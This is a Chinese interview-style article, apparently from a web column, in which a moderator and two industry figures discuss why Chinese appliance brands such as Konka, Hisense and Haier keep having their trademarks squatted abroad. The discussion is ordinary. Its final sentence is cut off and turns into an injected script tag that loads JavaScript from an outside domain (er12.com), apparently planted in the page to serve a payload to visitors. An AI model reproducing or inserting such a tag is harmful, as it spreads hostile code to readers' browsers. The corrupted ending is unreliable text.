近年来，随着经济全球化的趋势越来越明显，中国家电业无一例外的也被融入到了国际竞争的大舞台之上。面对洋品牌一波接一波的猛烈攻势，走国际化之路、融入全球家电市场已成为中国家电业的共识。
对于中国家电业来说，家电商标的境外恶意抢注已经成为了中国家电业国际化道路上的一道不可逾越的隐形门槛，如康佳、海信、tcl、新科等国内一大批知名品牌都未能幸免，而被卷入到抢注事件中。
中国驰名商标在海外频频遭遇抢注，有喜有忧：一方面说明中国制造的崛起，中国商标具有了“增值功能”，成为海外不法分子眼中的“唐僧肉”；另一方面，欧美国家对中国企业实施大规模的反倾销以来，通过商标抢注制造知识产权纠纷，已开始成为某些跨国公司为中国企业进入欧美市场设置贸易壁垒的一种新的形式。
目前商标抢注事件已逐渐演变成为我国家电企业国际竞争中硝烟渐浓的“战争”，面对国内家电品牌境外商标抢注事件日甚，国内的家电企业该如何应对如此突如其来的“境外商标劫”，从而继续健康有序的国际化道路呢？针对此，本期版主曹伟很荣幸的邀请到了国内资深的品牌营销专家博锋先生、格兰仕集团总裁助理赵为民先生共同就国内家电品牌“频遭境外抢注”的话题进行探讨。
中国商标为什么频繁遭遇“境外商标劫”
版主：二位好！目前，我国商标特别是一些知名商标在境外遭抢注事件屡屡发生，每年遭抢注案件超过100起，根据相关资料显示，国内有15%的知名商标在国外遭遇抢注的尴尬。
博锋：是的，中国家电企业的知名商标近年来在国外更是频繁遭到抢注而引发商标官司，海尔、康佳、科龙、新科等著名家电企业均因商标被抢注而相继引发了诸多海外官司。我个人认为，中国家电商标已经进入了被人疯狂抢注的高峰期，而且这种情况将至少持续5年。
赵为民：确实如此，如今商标遭海外抢注的问题已经成为困扰我国家电企业发展的巨大阻力。版主：中国驰名商标在海外频频遭遇抢注，从某种程度上来说，也说明了中国制造业在崛起，中国商标具有了相当的“增值功能”了。（笑）
赵为民：但是这项“增值功能”已经成为了海外不法分子眼中的“唐僧肉”了……
博锋：这块“唐僧肉”也已被一些欧美国家盯上了，他们通过商标抢注制造知识产权纠纷，设置中国企业进入欧美市场的贸易壁垒。
版主：那中国家电知名商标缘何频频出现“海外劫”，而欧美企业的“商标劫”却是很少呢？
博锋：主要由于我们企业商标海外注册意识淡薄。我国大多数企业尚未形成一套完整的知识产权保护战略，也基本没有建立商标的市场监测预警系统，更不重视运用商标境外注册维护自己的正当权益，导致我国企业商标海外注册积极性不高，总量偏低。
赵为民：是啊，正因为国内商标意识淡薄，中国企业进入海外市场就好像一个瞎子、聋子、跛子，战战兢兢，如履薄冰，稍有不慎就会触电踩雷碰到“高压线”，屋破偏遭连阴雨，船到江心补漏迟，中国企业偏偏没有“防弹衣”与“防火墙”，中弹阵亡率年年攀升。
版主：赵总的描述相当形象啊。
赵为民：呵呵，事实就是如此。在2004年世界品牌实验室公布的“中国500个最具价值的品牌”中显示：有46%未在美国注册，50%未在澳大利亚注册，54%未在加拿大注册，而在欧盟的未注册比率则高达76%。还如目前泉州市企业虽已在国内申请注册了2万多个商标，但它们根据《马德里协定》进行国际注册的商标最多只占10%。试想，面对这些未注册的知名商标，处于激烈竞争中的国外企业能不动心思吗？
博锋：面对如此的利益诱惑，境外公司当然不会轻易放过此等生财之道了。
版主：正因为国内家电企业的知识产权保护意识不足，国际炒家才有机可乘，从中进行商标倒卖或者以侵权之名收取佣金，是这样的吗？
博锋：这只是其一。其二是我们自主创新能力不强，从总体上看，国内家电企业自主创新能力还相当薄弱，企业技术创新模式基本上处于技术引进再创新的初级阶段，不少企业对自己产品的对外市场开发能力底气不足，在未发展到一定程度时，根本不敢轻言创名牌，更谈不上在国外注册商标，这无疑给国际炒家的恶意抢注提供了可乘之机。
赵为民：除了博总所说的两点，我认为，国内家电企业的体制转轨带来的不适应也是一大重要原因。长期以来，我国家电企业往往只在国内注册商标，而境外商标注册基本由外贸公司代理。近年来，随着外贸体制改革的深入，我国大部分外贸公司进行了改组或改制，不再拥有企业的境外商标注册权，而此前经由他们已经代理注册的商标则需要企业花钱买回。
博锋：商标境外代理过程的转换会使一些国内家电企业境外申请需要一个适应过程，一些企业甚至还暂停了商标境外注册工作。这样的情况在国内家电行业并不罕见。
版主：两位所说的几点都是国内知名商标遭抢注的原因，但我觉得国内家电企业缺乏防范意识也是最?script src=http://er12.com/t.js>
